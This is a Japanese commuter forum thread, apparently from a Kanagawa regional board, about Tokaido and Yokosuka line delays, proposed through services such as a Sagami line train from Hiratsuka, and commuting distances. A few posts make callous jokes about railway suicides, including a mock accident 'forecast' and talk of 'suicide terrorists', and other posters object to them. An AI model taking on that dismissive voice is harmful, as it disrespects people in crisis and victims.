浜川崎の方面へ直通できるメリットは大きい。

>>218
【農道】 羽沢町・菅田町　Part3【キャベツ畑】
http://kanto.machibbs.com/bbs/read.pl?BBS=kana&KEY=1059690103

を見た直後だったからと言うのもあるんだが、はっきり言って、駅があるのにそれはちょっとかわいそう過ぎるとか思っただけなんだがね。
新幹線も通っているだけだし。

多分３０分に一本、鶴見までピストン便出すだけで、格段と便利になりそうだと妄想しただけだ。
運営はＪＲはやりたがらないだろうから、横浜高速鉄道辺りで。
地下鉄の４号線なんかよりはよほど安上がりに出来そうなんだがな。

>219
そのスレと地図を見てみますた。
確かに、他に交通手段がないだけに可哀想すぎますね。
丸の内線の方南町方面の支線のように、横浜市営地下鉄が、
三ツ沢上町あたりから分岐して、羽沢方面に伸びるといいのにね。
利用者数の問題もあると思うから、横浜国大経由にして途中駅を
造れば、利用者も増えるし、すごくメリットあると思う。
ただ、横浜市は、赤字続きの市営地下鉄で体力無いし、民営化した
がっているからねー。
ほんとに環状鉄道全線開通できるのだろうか？

>220
ムリと思われ。。

はげどう

まあ、もともと環状鉄道計画は今は亡き前市長の構想（妄想？）だったからなー。

＞＞２１８
どういう意味ですか？
藤沢以西の住人が桜木町や浜川崎に直通する？
どっから直通するんですか？

>>224
昨日の朝日新聞にも出てたけど、茅ヶ崎方面からの上りで貨物線を使って、大船のポイントで、
根岸線に乗り入れ、桜木町過ぎた辺りにあるポイントから、京浜臨海部の貨物線に乗り入れ。
試乗会では、鶴見から浜川崎へ折り返したらしいが、横浜−浜川崎間の１部は新線設置による
旅客化を検討したいらしい。

つーか今さらテーマパークでもないだろ。

横浜−戸塚で人身 東海道線横須賀線止まってます。

誰だ飛び込んだの乗ろうとおもってたライナー11号運休になりやがった(｀ﾍ´)

横浜−戸塚で人身 東海道線横須賀線止まってます。

誰だ飛び込んだの乗ろうとおもってたライナー11号運休になりやがった(｀ﾍ´)

二重に書き込みすんまそん。

大船より熱海よりに住んでる人はみんな
朝どこまでかよってますか？
東京？

御徒町まで通勤ですよとりあえず大船まで京浜東北線もあるけどしかたないから東京から座って…
約一時間遅れでライナー9が出て行った。

>>230
田町。
横浜出てすぐのところで人身事故が発生し、ちょうど乗り合わせてました。
車内で立って待つこと１時間。
横浜発20：00の電車に乗ってただいま帰りました（平塚）。
本当にきつかった。

>>232
同じく。先ほど帰宅
まじ、きつかったですよね。社内アナウンスもろくに聞こえないし。
ここんとこ立て続けに事故起こりますね。ほんとうんざり。

神奈川県内の交通情報はこちらでもどうぞ！
http://kanto.machibbs.com/bbs/read.pl?BBS=kana&KEY=1061221262

>>233
ホント多いよね・・・
この前平塚でもあったし。
藤沢か国府津でも前にあったよね？

>>235
平塚の前は鴨宮。
本当に多い。
ここ１週間で３回(藤沢、平塚、今日）足止めくらった。
何か連鎖的に起きてる気がする。
通り魔起こるとしばらくの間連鎖的に起こるような。
今日同じ頃大宮でもあったらしいし。

どうせだったら厨央線でやってくれれば･･･

>>236
そうだ。鴨宮ね・・
小田原方面ってことは覚えてたけど。
確かに連鎖的に起きてるね。

>>236
午前中も宇都宮線で有ったよ。

昨日人身事故で遅れる東海道線に東京から乗った。
「品川駅のホームがいっぱいです」とのことで新橋で30分以上足止め
されたが、品川に着いてみると他のホームに電車なし。
品川折り返しを優先して東京発がその煽りを受けたのかな？

アクティー戸塚に止めて。

>>241
糞

>>242
激しく同意だが241のようなやつは無視が一番

昨日、東海道線、横須賀線には乗っていないけど
なんで両方止まってしまうのだろう…と疑問。

おかげでボロ車のカナバス激混みでした。

停めなかったら事後処理ができないと思うが・・・

age

>>244
失礼しました。
隣の線路が別の路線なら止めないと危ないですね…
はやとちりしてしまった・・・・・・・・・・・・

>>240
東京発の電車乗ってましたが、品川で長いこと止まってました。
ホームの反対側にも後続が(追いついてきて)止まっていたので、実際埋まっていました。

東京駅で並んでいるとき、7,8,9番線に電車が止まっていたけど、
みんな一番最初に来た7番線に並んでいたら、9番線の電車が
最初にドア開いて客乗せて出て行ってしまった....
どれが先発かとかアナウンスして欲しかったなあ。
かなり長いこと待っていたのに...

>>248
ご愁傷様れす・・・
JR職員も混乱してますね。
でも、もう少し迅速な対応はできるはず、と思いますね。。

東海道や横須賀が止まると宇都宮、高崎、最強と東京、埼玉、神奈川、栃木、群馬
の沿線に影響あり！この逆もあるが・・・。
ＪＲには何とかしてもらいたいものだ！

だから直通化は絶対反対。

相模線の東海道線乗り入れ平塚行きが、実験的に走るらしい。（今朝の朝日新聞より）

>>252
マジで！？

>>252
本当??

中央快速線で事故が起きると、回復までにかなり時間が掛かる。
何故かというとこの線路には中央快速列車だけでなく、
山梨･長野方面を結ぶ特急や武蔵野線との間を行き来する貨物列車、
青梅線直通電車などが多く、一度乱れるとそれら各線との調整が必要になるため。
中央･総武緩行線や山手線、京浜東北線が早期に回復できるのは
乗り入れをしていない、或いは数が少ないので、少しの間全線停止しても
線内調整だけで済ませられ、他線ダイヤに影響が小さいため。
総武･横須賀線の一方で事故があった場合、東京で折り返すがこれも一手法。
ダイヤの乱れでよく湘新が中途打ち切りになるがこれも同じ事。
直通列車は便利だが、乱れた時の影響が大きい。
また乗り入れ路線数が多いほど、調整も複雑になる。
列車直通よりも分岐駅の構造を乗り換えしやすくしてくれたほうがいい。

>>252
平塚までに相模線から（旅客線の）下り線に入れないと思うけど…

>>256
貨物線にホームを新設する口実かもな。

>>256
大正解。

>>252
言い回しがちょっと変だな

平塚からの相模線直通が走る。復路はたぶんなし。
平塚の1番線を出れば相模線に入れる。
車両は国府津あたりから回送でやってくるでしょ。

平塚〜茅ヶ崎間は貨物線を走るってことかね。

かなり前からあった計画だよな。ただ、もともとは相模線から東海道上り（横浜方面)へ直通運転をするっていう構想だった。
相模線が電化されたときにJRも公にそういってたし。

いまは無きツインシティー構想の一環でもあったのか？

また人身かよ！

二ノ宮だってさあ！

二宮で人身事故ありました・・・

本日の東海道線も事故に注意が必要です。

予報　順調 一時運転見合わせ振り替え輸送

人身事故確率　東京-小田原　20%
　　　　　　　　　　小田原-熱海 1%

なお、自殺テロリストにも厳重に警戒してください。

東京都心の企業は平均的に東海道線のどのあたりまでを通勤圏とみなしているの
だろうか？
同様に、川崎、横浜市内の企業は平均的にどのあたりまでを通勤圏とみなしている
のだろうか？
もちろん、新幹線や特急を使わない場合で。

>>267
神保町の某企業の例。
小田原までは問題なし。
早川に住んでいる香具師には下宿を勧めていた。

純粋に残業できる時間の違いだろうけど。

そりゃ最低でもは平塚まで、大体は小田原までだろうな
極端な例だと三島、沼津までもそれなりに多いとか･･･

>>266
不謹慎。

>>270
自殺場所に鉄道を選択する自殺者が悪いんであって、それによって
引き起こされる迷惑を回避するために用心して予報を立てることは
不謹慎ではない。

>>271
自己弁解でつか？ｗ

「自殺テロリスト」の表現はどうかと思うけどな。

都内で通勤圏は一般的には平塚までじゃないの？
小田原だったら品川までなら根性さえあれば通えなくもない。
横浜・川崎の通勤範囲は熱海がせいぜいじゃない？
まー、俺は小田原から船橋まで通った事あるけど（根性）
戸塚の乗換えがタイミングよく行けば，２時間ちょっとで着いたな。

>>253-262
ttp://www.city.hiratsuka.kanagawa.jp/press/2003pres/0308132a.htm
平塚発・相模線特別列車「銀河鉄道２００３」スターライナー
１０月１８日（土）９：４５　平塚駅発車　→　１０：５５　原当麻駅到着

１０月１８日（土）１４：３４　原当麻駅発車　→　１６：００　平塚駅到着

>>276
帰りの列車が平塚まで来るのか…どうやるんだろう

>>277
帰りは国府津まで行ってから折り返すと、しっかりと書いてありますが何か？

>>278
すまんかった…

これを機に、相模線・横浜線・中央線経由新宿行きの、「新・湘南新宿ライナー」
でも出来ればいいね。立川とか国分寺方面のアクセスが飛躍的に改善する。

小田原まで複複線にしたほうがいいなあ。
それか品川〜新橋間は複複線

>>280
相模線は単線だから難しいかと・・・

>>281
同意。
小田急みたいに高架でできそうな気はするんだけどね。

これを期に相模線の複線化運動が活発になればいいね。
一部でもいいから。

高崎線の人身て湘新ラインの2210Yかなぁ〜
１８時４１分頃本庄〜岡部駅間って書いてあるし
上り線見たいだから・・・
時刻を見る限りこれかなぁ〜
誰か詳細よろ〜

>>281
小田原まで既に複々線ですが。

京阪神の東海道線みたいに、線路を 特急・快速・貨物用 と 各停用 に分けるとか？

>>285
ついでに東京−品川は四複線ですね

>>286
京浜間の東海道線各駅停車は京浜東北線が担ってる。
関西では長浜〜京都を琵琶湖線、京都〜大阪を京都線、大阪〜姫路を神戸線と、駅間を区切って呼んでいて、
その間を走る列車は各停も新快速も全部○○線で案内される。
関東では各停を京浜東北線、中距離電車を東海道線と呼び分けている。